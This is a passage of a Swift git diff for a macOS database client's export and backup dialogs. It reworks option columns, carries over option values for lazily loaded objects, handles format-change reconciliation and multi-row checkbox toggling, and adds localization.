44), + PluginExportOptionColumn(id: "data", label: String(localized: "Data", bundle: .main), width: 44) ] typealias Settings = MQLExportOptions @@ -41,6 +42,11 @@ final class MQLExportPlugin: ObservableObject, ExportFormatPlugin, SettablePlugi optionValues.contains(true) } + // Without it, Data off still counts every collection's rows and the progress sits at 0 of N. + func readsRows(optionValues: [Bool], kind: PluginExportObjectKind) -> Bool { + optionValues.count <= 2 || optionValues[2] + } + @MainActor func settingsView() -> AnyView? { AnyView(MQLExportOptionsView(plugin: self)) diff --git a/apple/Plugins/SQLExportPlugin/SQLExportPlugin.swift b/apple/Plugins/SQLExportPlugin/SQLExportPlugin.swift index 832efd4521..a7bcae450a 100644 --- a/apple/Plugins/SQLExportPlugin/SQLExportPlugin.swift +++ b/apple/Plugins/SQLExportPlugin/SQLExportPlugin.swift @@ -20,9 +20,10 @@ final class SQLExportPlugin: ObservableObject, ExportFormatPlugin, SettablePlugi static let excludedDatabaseTypeIds = ["MongoDB", "Redis"] static let perTableOptionColumns: [PluginExportOptionColumn] = [ - PluginExportOptionColumn(id: "structure", label: "Structure", width: 56), + PluginExportOptionColumn(id: "structure", label: String(localized: "Structure", bundle: .main), width: 56), + // The DROP statement, left untranslated: the catalog's "Drop" is the verb that deletes a table. PluginExportOptionColumn(id: "drop", label: "Drop", width: 44), - PluginExportOptionColumn(id: "data", label: "Data", width: 44) + PluginExportOptionColumn(id: "data", label: String(localized: "Data", bundle: .main), width: 44) ] static let supportedObjectKinds: [PluginExportObjectKind] = [ diff --git a/apple/TablePro/Models/Export/ExportModels.swift b/apple/TablePro/Models/Export/ExportModels.swift index 0f6c42f8ee..288bdb1e30 100644 --- a/apple/TablePro/Models/Export/ExportModels.swift +++ b/apple/TablePro/Models/Export/ExportModels.swift @@ -292,6 +292,8 @@ struct ExportDatabaseItem: Identifiable { /// Set when the container's own checkbox was turned on before its unread kinds arrived, so /// they arrive selected like everything else the click reached. var selectsLoadedObjects = false + // Column values set before the unread kinds arrived, by column index; they arrive with them. + var arrivingOptionValues: [Int: Bool] = [:] init( id: UUID = UUID(), @@ -313,8 +315,12 @@ struct ExportDatabaseItem: Identifiable { /// An object that arrives already selected (a restored row) stays so. Any other is selected /// only when the container was ticked whole and nothing in it has been unticked since. - func mergingLoadedObjects(_ loaded: [ExportObjectItem]) -> ExportDatabaseItem { - let selectsArrivals = selectsLoadedObjects && objects.allSatisfy(\.isSelected) + func mergingLoadedObjects( + _ loaded: [ExportObjectItem], + writes: (ExportObjectItem) -> Bool = { _ in true } + ) -> ExportDatabaseItem { + // An object that writes nothing stays out of a container tick, so it does not count as unticked. + let selectsArrivals = selectsLoadedObjects && objects.filter(writes).allSatisfy(\.isSelected) let incoming = loaded.filter { unloadedKinds.contains($0.kind) } // The table listing reported these sequences as tables; one relation, so the sequence replaces it. let sequenceNames = Set(incoming.filter { $0.kind == .sequence }.map(\.name)) @@ -331,9 +337,32 @@ struct ExportDatabaseItem: Identifiable { merged.unloadedKinds = [] merged.isLoadingObjects = false merged.selectsLoadedObjects = false + merged.arrivingOptionValues = [:] return merged } + // Kept values go on after normalizing, which replaces an arrival's empty list with the defaults. + func mergingLoadedObjects(_ loaded: [ExportObjectItem], layout: ExportOptionLayout) -> ExportDatabaseItem? { + let merged = mergingLoadedObjects(loaded, writes: layout.writesSomething) + guard !merged.objects.isEmpty, let normalized = [merged].normalized(for: layout).first else { return nil } + let arrivals = Set(normalized.objects.map(\.id)).subtracting(objects.map(\.id)) + return normalized.applyingOptionValues(arrivingOptionValues, toObjects: arrivals, layout: layout) + } + + func applyingOptionValues( + _ values: [Int: Bool], + toObjects ids: Set, + layout: ExportOptionLayout + ) -> ExportDatabaseItem { + guard !values.isEmpty, !ids.isEmpty else { return self } + var updated = self + updated.objects = objects.map { object in + guard ids.contains(object.id) else { return object } + return object.settingOptions(values.filter { layout.supports(columnAt: $0.key, kind: object.kind) }) + } + return updated + } + func withID(_ id: UUID) -> ExportDatabaseItem { var copy = ExportDatabaseItem( id: id, @@ -344,6 +373,7 @@ struct ExportDatabaseItem: Identifiable { ) copy.isLoadingObjects = isLoadingObjects copy.selectsLoadedObjects = selectsLoadedObjects + copy.arrivingOptionValues = arrivingOptionValues return copy } @@ -377,7 +407,75 @@ struct ExportDatabaseItem: Identifiable { } } +enum ExportKindReconciliation: Equatable { + case unchanged + // The kinds left after narrowing, so a wider format later reads again. + case narrowed(loadedKinds: Set) + case reload + + static func next( + loadedKinds: Set, + wanted: Set + ) -> ExportKindReconciliation { + guard !loadedKinds.isEmpty else { return .unchanged } + guard wanted.isSubset(of: loadedKinds) else { return .reload } + return wanted == loadedKinds ? .unchanged : .narrowed(loadedKinds: wanted) + } +} + +// Resolved by the dialog so the tree never looks a plugin up itself. +struct ExportOptionLayout { + let columns: [PluginExportOptionColumn] + let defaultValues: [Bool] + // False for a structure-only format, which ignores a row scope. + let readsRows: Bool + let supports: (String, PluginExportObjectKind) -> Bool + + static var none: ExportOptionLayout { + ExportOptionLayout(columns: [], defaultValues: [], readsRows: true) { _, _ in true } + } + + func supports(columnAt index: Int, kind: PluginExportObjectKind) -> Bool { + columns.indices.contains(index) && supports(columns[index].id, kind) + } + + func writesSomething(_ object: ExportObjectItem) -> Bool { + columns.isEmpty || object.optionValues.contains(true) + } + + // Unread kinds count with the value they will arrive with. + func values( + ofColumn index: Int, + in objects: [ExportObjectItem], + unloadedKinds: Set = [], + arriving: [Int: Bool] = [:] + ) -> [Bool] { + guard columns.indices.contains(index) else { return [] } + let fallback = defaultValues.count == columns.count ? defaultValues[index] : columns[index].defaultValue + var values = objects + .filter { supports(columnAt: index, kind: $0.kind) } + .map { $0.optionValues[safe: index] ?? columns[index].defaultValue } + if unloadedKinds.contains(where: { supports(columnAt: index, kind: $0) }) { + values.append(arriving[index] ?? fallback) + } + return values + } +} + extension ExportObjectItem { + // Never selects. A selected object left with nothing on is deselected: it would export nothing. + func settingOptions(_ values: [Int: Bool]) -> ExportObjectItem { + guard values.keys.contains(where: optionValues.indices.contains) else { return self } + var updated = self + for (index, value) in values where updated.optionValues.indices.contains(index) { + updated.optionValues[index] = value + } + if !updated.optionValues.contains(true) { + updated.isSelected = false + } + return updated + } + func normalized(forOptionColumnCount optionColumnCount: Int, defaultOptionValues: [Bool]) -> ExportObjectItem { guard optionColumnCount > 0 else { return self } let fallback = defaultOptionValues.count == optionColumnCount @@ -451,6 +549,23 @@ extension [ExportDatabaseItem] { } } + // Masking keeps a routine from carrying a Data flag that would count it as exportable. + func normalized(for layout: ExportOptionLayout) -> [ExportDatabaseItem] { + normalizingOptionValues(optionColumnCount: layout.columns.count, defaultOptionValues: layout.defaultValues) + .maskingUnsupportedOptions(columns: layout.columns, supports: layout.supports) + } + + // A profile's option values belong to its format, so the tree is reset for that format first. + func applyingProfile( + _ profile: ExportProfile, + layout: ExportOptionLayout, + databaseType: DatabaseType + ) -> [ExportDatabaseItem] { + ExportProfileStorage.apply(profile, to: self) + .clearingRowScopes(unavailableOn: databaseType) + .normalized(for: layout) + } + func normalizingOptionValues(optionColumnCount: Int, defaultOptionValues: [Bool]) -> [ExportDatabaseItem] { map { database in var normalizedDatabase = database @@ -464,6 +579,7 @@ extension [ExportDatabaseItem] { func resettingOptionValues(to values: [Bool]) -> [ExportDatabaseItem] { map { database in var resetDatabase = database + resetDatabase.arrivingOptionValues = [:] resetDatabase.objects = database.objects.map { object in var resetObject = object resetObject.optionValues = values @@ -486,6 +602,24 @@ extension [ExportDatabaseItem] { } } + func settingOption( + _ index: Int, + to value: Bool, + objectIDs ids: Set, + arrivingIn databaseID: UUID? = nil + ) -> [ExportDatabaseItem] { + map { database in + var updated = database + updated.objects = database.objects.map { object in + ids.contains(object.id) ? object.settingOptions([index: value]) : object + } + if database.id == databaseID { + updated.arrivingOptionValues[index] = value + } + return updated + } + } + func clearingRowScopes(unavailableOn databaseType: DatabaseType) -> [ExportDatabaseItem] { map { database in var clearedDatabase = database diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings index bc4bbdf99c..422eaccc99 100644 --- a/apple/TablePro/Resources/Localizable.xcstrings +++ b/apple/TablePro/Resources/Localizable.xcstrings @@ -57725,6 +57725,8 @@ } }, "Data" : { + "extractionState" : "manual", + "generatesSymbol" : false, "localizations" : { "fr" : { "stringUnit" : { @@ -93693,6 +93695,8 @@ } }, "Indexes" : { + "extractionState" : "manual", + "generatesSymbol" : false, "localizations" : { "fr" : { "stringUnit" : { @@ -173994,6 +173998,8 @@ } }, "Structure" : { + "extractionState" : "manual", + "generatesSymbol" : false, "localizations" : { "fr" : { "stringUnit" : { diff --git a/apple/TablePro/Views/Backup/BackupScopeModel.swift b/apple/TablePro/Views/Backup/BackupScopeModel.swift index 70a1915b26..f7688e3f4f 100644 --- a/apple/TablePro/Views/Backup/BackupScopeModel.swift +++ b/apple/TablePro/Views/Backup/BackupScopeModel.swift @@ -115,33 +115,89 @@ final class BackupScopeModel: ObservableObject { rows = Self.togglingObject(id, in: database, rows: rows) } + enum Row: Equatable { + case database(String) + case object(String, database: String) + } + + func toggle(_ selection: [Row]) { + rows = Self.toggling(selection, in: rows) + } + + // One direction for every row, and an object under a selected database is left to it: toggling both flipped it back. + static func toggling(_ selection: [Row], in rows: [DatabaseRow]) -> [DatabaseRow] { + let databases = Set(selection.compactMap { row -> String? in + guard case .database(let name) = row else { return nil } + return name + }) + let targets = selection.filter { row in + guard case .object(_, let database) = row else { return true } + return !databases.contains(database) + } + let turningOn = targets.contains { target in + switch target { + case .database(let name): + return rows.first { $0.name == name }.map { !$0.isSelected || $0.isMixed } ?? false + case .object(let id, let database): + return rows.first { $0.name == database }?.objects.first { $0.id == id }.map { !$0.isSelected } ?? false + } + } + return targets.reduce(rows) { rows, target in + switch target { + case .database(let name): + return settingDatabase(name, selected: turningOn, in: rows) + case .object(let id, let database): + return settingObject(id, in: database, selected: turningOn, rows: rows) + } + } + } + /// Ticking a mixed database means "all of it", which is the state a user reaches by unticking /// a few tables and then changing their mind. static func togglingDatabase( _ database: String, in rows: [DatabaseRow] + ) -> [DatabaseRow] { + guard let row = rows.first(where: { $0.name == database }) else { return rows } + return settingDatabase(database, selected: !row.isSelected || row.isMixed, in: rows) + } + + static func settingDatabase( + _ database: String, + selected: Bool, + in rows: [DatabaseRow] ) -> [DatabaseRow] { var rows = rows guard let index = rows.firstIndex(where: { $0.name == database }) else { return rows } - let turningOn = !rows[index].isSelected || rows[index].isMixed - rows[index].isSelected = turningOn + rows[index].isSelected = selected for objectIndex in rows[index].objects.indices { - rows[index].objects[objectIndex].isSelected = turningOn + rows[index].objects[objectIndex].isSelected = selected } return rows } + static func togglingObject( + _ id: String, + in database: String, + rows: [DatabaseRow] + ) -> [DatabaseRow] { + guard let object = rows.first(where: { $0.name == database })?.objects.first(where: { $0.id == id }) + else { return rows } + return settingObject(id, in: database, selected: !object.isSelected, rows: rows) + } + /// Unticking the last object is a decision to leave the database out, not a decision to back it /// up empty. Ticking one again brings the database back carrying only that object. - static func togglingObject( + static func settingObject( _ id: String, in database: String, + selected: Bool, rows: [DatabaseRow] ) -> [DatabaseRow] { var rows = rows guard let index = rows.firstIndex(where: { $0.name == database }) else { return rows } guard let objectIndex = rows[index].objects.firstIndex(where: { $0.id == id }) else { return rows } - rows[index].objects[objectIndex].isSelected.toggle() + rows[index].objects[objectIndex].isSelected = selected rows[index].isSelected = rows[index].objects.contains(where: \.isSelected) return rows } diff --git a/apple/TablePro/Views/Backup/BackupScopeTreeView.swift b/apple/TablePro/Views/Backup/BackupScopeTreeView.swift index aee2d5036e..9625427c75 100644 --- a/apple/TablePro/Views/Backup/BackupScopeTreeView.swift +++ b/apple/TablePro/Views/Backup/BackupScopeTreeView.swift @@ -25,6 +25,8 @@ internal struct BackupScopeTreeView: NSViewRepresentable { let outlineView = CheckboxOutlineView() outlineView.headerView = nil outlineView.style = .plain + // The default style left the column 14 pt wider than the clip view, so a swipe slid the rows sideways. + outlineView.columnAutoresizingStyle = .firstColumnOnlyAutoresizingStyle outlineView.rowSizeStyle = .custom outlineView.rowHeight = 24 outlineView.allowsMultipleSelection = true @@ -335,16 +337,14 @@ internal final class BackupScopeTreeCoordinator: NSObject, NSOutlineViewDataSour internal func toggleSelectedRows() { guard let outlineView else { return } - for index in outlineView.selectedRowIndexes { - guard let node = outlineView.item(atRow: index) as? BackupScopeNode else { continue } + let selection = outlineView.selectedRowIndexes.compactMap { index -> BackupScopeModel.Row? in + guard let node = outlineView.item(atRow: index) as? BackupScopeNode else { return nil } switch node.kind { - case .database(let name): - model.toggleDatabase(name) - case .object(let database, let id): - model.toggleObject(id, in: database) - case .placeholder: - continue + case .database(let name): return .database(name) + case .object(let database, let id): return .object(id, database: database) + case .placeholder: return nil } } + model.toggle(selection) } } diff --git a/apple/TablePro/Views/Components/CheckboxOutlineView.swift b/apple/TablePro/Views/Components/CheckboxOutlineView.swift index 2fea752bed..62c298fe58 100644 --- a/apple/TablePro/Views/Components/CheckboxOutlineView.swift +++ b/apple/TablePro/Views/Components/CheckboxOutlineView.swift @@ -53,3 +53,47 @@ internal final class HostingTableCellView: NSTableCellView { hosting.rootView = content } } + +internal final class CheckboxTableCellView: NSTableCellView { + private let checkbox = NSButton(checkboxWithTitle: "", target: nil, action: nil) + private var modelState: NSControl.StateValue = .off + private var action: (() -> Void)? + + internal init(identifier: NSUserInterfaceItemIdentifier) { + super.init(frame: .zero) + self.identifier = identifier + checkbox.target = self + checkbox.action = #selector(clicked(_:)) + checkbox.translatesAutoresizingMaskIntoConstraints = false + addSubview(checkbox) + NSLayoutConstraint.activate([ + checkbox.centerXAnchor.constraint(equalTo: centerXAnchor), + checkbox.centerYAnchor.constraint(equalTo: centerYAnchor) + ]) + } + + @available(*, unavailable) + internal required init?(coder: NSCoder) { + fatalError("init(coder:) has not been implemented") + } + + internal func configure( + state: NSControl.StateValue, + isEnabled: Bool, + accessibilityLabel: String, + action: @escaping () -> Void + ) { + modelState = state + self.action = action + checkbox.allowsMixedState = state == .mixed + checkbox.state = state + checkbox.isEnabled = isEnabled + checkbox.setAccessibilityLabel(accessibilityLabel) + } + + // AppKit already moved the box to its next state; the action decides the real one. + @objc private func clicked(_ sender: NSButton) { + sender.state = modelState + action?() + } +} diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift index 7cf0d9684e..460f472702 100644 --- a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift +++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift @@ -71,6 +71,11 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie } func scheduleEditorFocusClaim() { + // Query tabs share one editor, which installs only once, so a later tab's claim is taken here. + if hasInstalledEditorServices, !isDestroyed, let textView = controller?.textView, let window = textView.window { + window.makeFirstResponder(textView) + return + } focusClaimPending = true } diff --git a/apple/TablePro/Views/Export/ExportDialog.swift b/apple/TablePro/Views/Export/ExportDialog.swift index be3031f153..b23a834de8 100644 --- a/apple/TablePro/Views/Export/ExportDialog.swift +++ b/apple/TablePro/Views/Export/ExportDialog.swift @@ -30,6 +30,7 @@ struct ExportDialog: View { /// Which object kinds the last load actually read, so a format switch knows whether the tree it /// already holds can answer for the new format without another round trip. @State private var loadedObjectKinds: Set = [] + @State private var formatReconciliation: Task? /// Bumped each time a reload replaces the tree, so a container read started against the old /// tree cannot land in the new one. @@ -159,10 +160,6 @@ struct ExportDialog: View { restoreSettingsSnapshot() } } - .onChange(of: config.formatId) { _ in - resetOptionValues() - Task { await reconcileObjectKindsForFormat() } - } .onExitCommand { if !isExporting { isPresented = false @@ -238,7 +235,7 @@ struct ExportDialog: View { get: { config.formatId }, set: { newValue in guard let format = formatsToOffer.first(where: { Self.offerTag(for: $0) == newValue }) else { - config.formatId = newValue + selectFormat(newValue) return } Task { await installOfferedFormat(format) } @@ -254,16 +251,30 @@ struct ExportDialog: View { if let settable = plugin as? any SettablePluginDiscoverable { settingsSnapshot?.include(settable) } - config.formatId = format.formatId + selectFormat(format.formatId) } - private var currentOptionColumnCount: Int { - guard let plugin = currentPlugin else { return 0 } - return type(of: plugin).perTableOptionColumns.count + // One path for every format change, so a profile can wait for the reset and reload instead of racing it. + @discardableResult + private func selectFormat(_ formatId: String) -> Task? { + guard formatId != config.formatId else { return formatReconciliation } + config.formatId = formatId + resetOptionValues() + let reconciliation = Task { await reconcileObjectKindsForFormat() } + formatReconciliation = reconciliation + return reconciliation } - private var currentDefaultOptionValues: [Bool] { - currentPlugin?.defaultTableOptionValues() ?? [] + private var optionLayout: ExportOptionLayout { + guard let plugin = currentPlugin else { return .none } + let pluginType = type(of: plugin) + return ExportOptionLayout( + columns: pluginType.perTableOptionColumns, + defaultValues: plugin.defaultTableOptionValues(), + readsRows: !ExportFormatCatalog.writesStructureOnly(plugin) + ) { columnId, kind in + pluginType.supportsOption(columnId: columnId, for: kind) + } } // MARK: - Layout Constants @@ -293,15 +304,6 @@ struct ExportDialog: View { profileMenu Spacer() - - if let plugin = currentPlugin { - ForEach(type(of: plugin).perTableOptionColumns) { column in - Text(column.label) - .font(.subheadline.weight(.medium)) - .foregroundStyle(.secondary) - .frame(width: column.width, alignment: .center) - } - } } .padding(.horizontal, 12) .padding(.vertical, 10) @@ -336,6 +338,7 @@ struct ExportDialog: View { ExportObjectTreeView( databaseItems: $databaseItems, formatId: config.formatId, + options: optionLayout, databaseType: databaseType, loadColumns: { await columnNames(for: $0) }, onNeedsObjects: { databaseID in @@ -418,18 +421,19 @@ struct ExportDialog: View { private func applyProfile(_ profile: ExportProfile) async { profileApplication &+= 1 let application = profileApplication + let reconcile = availableFormatIds.contains(profile.formatId) + ? selectFormat(profile.formatId) + : formatReconciliation + let formatId = config.formatId + await reconcile?.value let named = Set(profile.entries.map(\.container)) for item in databaseItems where item.hasUnloadedObjects && named.contains(item.name) { + guard application == profileApplication else { return } await loadUnloadedObjects(databaseID: item.id) } - // A profile picked while this one waited for its reads is the user's latest choice. - guard application == profileApplication else { return } - if availableFormatIds.contains(profile.formatId) { - config.formatId = profile.formatId - } - databaseItems = normalizedForCurrentFormat( - ExportProfileStorage.apply(profile, to: databaseItems) - .clearingRowScopes(unavailableOn: databaseType)) + // A profile or a format picked while this one waited for its reads is the user's latest choice. + guard application == profileApplication, formatId == config.formatId else { return } + databaseItems = databaseItems.applyingProfile(profile, layout: optionLayout, databaseType: databaseType) } private func saveProfile() { @@ -653,33 +657,24 @@ struct ExportDialog: View { @MainActor private func reconcileObjectKindsForFormat() async { guard case .tables(let connection, _) = mode else { return } - let wanted = supportedObjectKinds - guard !loadedObjectKinds.isEmpty else { return } - guard wanted.isSubset(of: loadedObjectKinds) else { - await loadDatabaseItems(of: connection) + switch ExportKindReconciliation.next(loadedKinds: loadedObjectKinds, wanted: supportedObjectKinds) { + case .unchanged: return + case .narrowed(let kinds): + databaseItems = databaseItems.narrowed(to: kinds) + loadedObjectKinds = kinds + case .reload: + await loadDatabaseItems(of: connection) } - databaseItems = databaseItems.narrowed(to: wanted) } private func resetOptionValues() { databaseItems = normalizedForCurrentFormat( - databaseItems.resettingOptionValues(to: currentDefaultOptionValues)) + databaseItems.resettingOptionValues(to: optionLayout.defaultValues)) } - /// Aligns every row's option values with the chosen format's columns and clears the ones the - /// row's kind does not support, so a routine never carries a `Data` flag that would count it as - /// exportable for a phase it has no rows for. private func normalizedForCurrentFormat(_ items: [ExportDatabaseItem]) -> [ExportDatabaseItem] { - let normalized = items.normalizingOptionValues( - optionColumnCount: currentOptionColumnCount, - defaultOptionValues: currentDefaultOptionValues - ) - guard let plugin = currentPlugin else { return normalized } - let pluginType = type(of: plugin) - return normalized.maskingUnsupportedOptions(columns: pluginType.perTableOptionColumns) { columnId, kind in - pluginType.supportsOption(columnId: columnId, for: kind) - } + items.normalized(for: optionLayout) } // MARK: - Actions @@ -769,13 +764,18 @@ struct ExportDialog: View { @MainActor private func loadDatabaseItems(of connection: DatabaseConnection) async { let priorRows = ExportTreeBuilder.snapshots(of: databaseItems) + let kinds = supportedObjectKinds do { let items = try await treeBuilder(for: connection).build(priorRows: priorRows) - loadedObjectKinds = supportedObjectKinds + loadedObjectKinds = kinds treeGeneration += 1 databaseItems = normalizedForCurrentFormat(items.adoptingIdentities(of: databaseItems)) isLoading = false applyDefaultFileName(for: connection) + // The format changed while this read ran, and its reconcile had no tree to work on yet. + if kinds != supportedObjectKinds { + await reconcileObjectKindsForFormat() + } } catch is CancellationError { isLoading = false } catch { @@ -845,12 +845,11 @@ struct ExportDialog: View { guard generation == treeGeneration, let index = databaseItems.firstIndex(where: { $0.id == databaseID }) else { return } - let merged = databaseItems[index].mergingLoadedObjects(loaded) - guard !merged.objects.isEmpty, let normalized = normalizedForCurrentFormat([merged]).first else { + guard let merged = databaseItems[index].mergingLoadedObjects(loaded, layout: optionLayout) else { databaseItems.remove(at: index) return } - databaseItems[index] = normalized + databaseItems[index] = merged } private func applyDefaultFileName(for connection: DatabaseConnection) { diff --git a/apple/TablePro/Views/Export/ExportObjectRows.swift b/apple/TablePro/Views/Export/ExportObjectRows.swift index 05c1658dc4..bef475a196 100644 --- a/apple/TablePro/Views/Export/ExportObjectRows.swift +++ b/apple/TablePro/Views/Export/ExportObjectRows.swift @@ -95,16 +95,11 @@ internal struct ExportTreeContainerRow: View { } } -/// One object row. The option toggles stay positionally aligned with the format's full column list -/// for every kind, so a column this kind does not support leaves an empty slot of the same width -/// rather than shifting the ones after it. +// The checkbox only includes or excludes the object; what it writes is in the option columns. internal struct ExportTreeObjectRow: View { internal let object: ExportObjectItem internal let offersRowScope: Bool - internal let optionColumns: [PluginExportOptionColumn] - internal let supportsOption: (String, PluginExportObjectKind) -> Bool - internal let setSelected: (Bool) -> Void - internal let setOption: (Int, Bool) -> Void + internal let toggle: () -> Void internal let setRowScope: (PluginExportRowScope) -> Void internal let loadColumns: () async -> [String] @@ -114,21 +109,10 @@ internal struct ExportTreeObjectRow: View { internal var body: some View { HStack(spacing: 4) { - if optionColumns.isEmpty { - Toggle(object.name, isOn: Binding(get: { object.isSelected }, set: setSelected)) - .toggleStyle(.checkbox) - .labelsHidden() - .frame(width: 18) - } else { - TristateCheckbox( - state: checkboxState, - accessibilityLabel: object.name, - accessibilityValue: ExportObjectKindPresentation.checkboxValue(for: checkboxState) - ) { - setSelected(checkboxState != .checked) - } + Toggle(object.name, isOn: Binding(get: { object.isSelected }, set: { _ in toggle() })) + .toggleStyle(.checkbox) + .labelsHidden() .frame(width: 18) - } Image(systemName: ExportObjectKindPresentation.iconName(for: object.kind)) .foregroundStyle(ExportObjectKindPresentation.iconColor(for: object.kind)) @@ -153,12 +137,6 @@ internal struct ExportTreeObjectRow: View { if offersRowScope { rowScopeButton } - - if !optionColumns.isEmpty { - ForEach(Array(optionColumns.enumerated()), id: \.element.id) { index, column in - optionToggle(index: index, column: column) - } - } } } @@ -195,31 +173,4 @@ internal struct ExportTreeObjectRow: View { } } } - - @ViewBuilder - private func optionToggle(index: Int, column: PluginExportOptionColumn) -> some View { - if supportsOption(column.id, object.kind) { - Toggle(column.label, isOn: Binding( - get: { object.optionValues[safe: index] ?? column.defaultValue }, - set: { setOption(index, $0) } - )) - .toggleStyle(.checkbox) - .labelsHidden() - .disabled(!object.isSelected) - .frame(width: column.width, alignment: .center) - } else { - Color.clear.frame(width: column.width, height: 1) - } - } - - private var checkboxState: TristateCheckbox.State { - guard object.isSelected else { return .unchecked } - let supported = optionColumns.indices.filter { - supportsOption(optionColumns[$0].id, object.kind) - } - guard !supported.isEmpty else { return .checked } - let onCount = supported.count { object.optionValues[safe: $0] == true } - if onCount == 0 { return .unchecked } - return onCount == supported.count ? .checked : .mixed - } } diff --git a/apple/TablePro/Views/Export/ExportObjectTreeView.swift b/apple/TablePro/Views/Export/ExportObjectTreeView.swift index 31ac4afeaf..a2129390d7 100644 --- a/apple/TablePro/Views/Export/ExportObjectTreeView.swift +++ b/apple/TablePro/Views/Export/ExportObjectTreeView.swift @@ -14,9 +14,13 @@ import TableProPluginKit /// bindings are re-driven during an animated outline diff. That is the same Apple bug the /// connection sidebar's database tree hit, and the same answer: `NSOutlineView`, which also gives /// genuinely lazy children for a database holding thousands of objects. +/// +/// Option columns are real table columns, so each heading sits over its checkboxes whatever the +/// scroller style. internal struct ExportObjectTreeView: NSViewRepresentable { @Binding internal var databaseItems: [ExportDatabaseItem] internal let formatId: String + internal let options: ExportOptionLayout internal let databaseType: DatabaseType /// Reads one object's column names for the row-scope popover. Supplied by the dialog, which is @@ -34,6 +38,9 @@ internal struct ExportObjectTreeView: NSViewRepresentable { let outlineView = CheckboxOutlineView() outlineView.headerView = nil outlineView.style = .plain + outlineView.columnAutoresizingStyle = .firstColumnOnlyAutoresizingStyle + outlineView.intercellSpacing = NSSize(width: 4, height: 0) + outlineView.allowsColumnReordering = false outlineView.rowSizeStyle = .custom outlineView.rowHeight = 24 outlineView.allowsMultipleSelection = true @@ -48,7 +55,8 @@ internal struct ExportObjectTreeView: NSViewRepresentable { } outlineView.setAccessibilityLabel(String(localized: "Objects to export")) - let column = NSTableColumn(identifier: NSUserInterfaceItemIdentifier("ExportObjectColumn")) + let column = NSTableColumn(identifier: ExportObjectTreeCoordinator.nameColumn) + column.title = String(localized: "Name") column.resizingMask = .autoresizingMask outlineView.addTableColumn(column) outlineView.outlineTableColumn = column @@ -71,8 +79,14 @@ internal struct ExportObjectTreeView: NSViewRepresentable { } } +fileprivate extension NSUserInterfaceItemIdentifier { + static let exportOptionCell = NSUserInterfaceItemIdentifier("ExportOptionCell") +} + @MainActor internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSource, NSOutlineViewDelegate { + internal static let nameColumn = NSUserInterfaceItemIdentifier("ExportObjectColumn") + internal var owner: ExportObjectTreeView private weak var outlineView: NSOutlineView? @@ -105,6 +119,9 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou let formatChanged = formatId != self.formatId self.databases = databases self.formatId = formatId + if formatChanged { + syncOptionColumns() + } guard fingerprint != shapeFingerprint else { guard formatChanged else { @@ -135,7 +152,7 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou guard let identities = pendingReloadIdentities else { let rows = IndexSet(integersIn: 0 ..< outlineView.numberOfRows) guard !rows.isEmpty else { return } - outlineView.reloadData(forRowIndexes: rows, columnIndexes: IndexSet(integer: 0)) + outlineView.reloadData(forRowIndexes: rows, columnIndexes: allColumns(of: outlineView)) return } pendingReloadIdentities = nil @@ -147,7 +164,41 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou rows.insert(row) } guard !rows.isEmpty else { return } - outlineView.reloadData(forRowIndexes: rows, columnIndexes: IndexSet(integer: 0)) + outlineView.reloadData(forRowIndexes: rows, columnIndexes: allColumns(of: outlineView)) + } + + private func allColumns(of outlineView: NSOutlineView) -> IndexSet { + IndexSet(integersIn: 0 ..< outlineView.numberOfColumns) + } + + // As wide as the plugin asks or the translated heading needs. + private func syncOptionColumns() { + guard let outlineView else { return } + for column in outlineView.tableColumns where column.identifier != Self.nameColumn { + outlineView.removeTableColumn(column) + } + let options = owner.options.columns + outlineView.headerView = options.isEmpty ? nil : NSTableHeaderView() + for (index, option) in options.enumerated() { + let column = NSTableColumn( + identifier: NSUserInterfaceItemIdentifier("ExportOptionColumn.\(index).\(option.id)") + ) + column.title = option.label + column.headerCell.alignment = NSTextAlignment.center + let width = max(option.width, ceil(column.headerCell.cellSize.width) + 8) + column.width = width + column.minWidth = width + column.maxWidth = width + column.resizingMask = [] + outlineView.addTableColumn(column) + } + } + + private func optionIndex(of tableColumn: NSTableColumn?) -> Int? { + guard let tableColumn else { return nil } + let parts = tableColumn.identifier.rawValue.split(separator: ".") + guard parts.count >= 2, parts[0] == "ExportOptionColumn", let index = Int(parts[1]) else { return nil } + return owner.options.columns.indices.contains(index) ? index : nil } /// What the builder opened, read once per container when the tree first meets it, so a reload @@ -238,22 +289,34 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou return false } - /// Space toggles every selected row, which is what the checkbox in each of them does on a - /// click. A container row toggles everything beneath it, exactly as clicking its checkbox does. + // One direction for every row: on unless every target is already checked. internal func toggleSelectedRows() { guard let outlineView else { return } - let nodes = outlineView.selectedRowIndexes.compactMap { + let selected = outlineView.selectedRowIndexes.compactMap { outlineView.item(atRow: $0) as? ExportOutlineNode } - guard !nodes.isEmpty else { return } - for node in nodes { + // The rows a click could change, minus any row under another of them: toggling both flipped it back. + let actionable = selected.filter { node in + if case .pending = node.kind { return false } + return selectionIsEnabled(for: node) + } + let identities = Set(actionable.map(\.identity)) + let targets = actionable.filter { node in + var parent = outlineView.parent(forItem: node) as? ExportOutlineNode + while let ancestor = parent { + if identities.contains(ancestor.identity) { return false } + parent = outlineView.parent(forItem: ancestor) as? ExportOutlineNode + } + return true + } + guard !targets.isEmpty else { return } + let turningOn = targets.contains { selectionState(for: $0) != .checked } + for node in targets { switch node.kind { case .database, .group: - toggleContainer(node) + setContainer(node, selected: turningOn) case .object(let databaseID, let objectID): - let isSelected = databases.first(where: { $0.id == databaseID })? - .objects.first(where: { $0.id == objectID })?.isSelected ?? false - setSelection(!isSelected, databaseID: databaseID, objectID: objectID) + setSelection(turningOn, databaseID: databaseID, objectID: objectID) case .pending: continue } @@ -279,6 +342,9 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou item: Any ) -> NSView? { guard let node = item as? ExportOutlineNode else { return nil } + if let index = optionIndex(of: tableColumn) { + return optionCell(column: index, node: node, in: outlineView) + } let identifier = 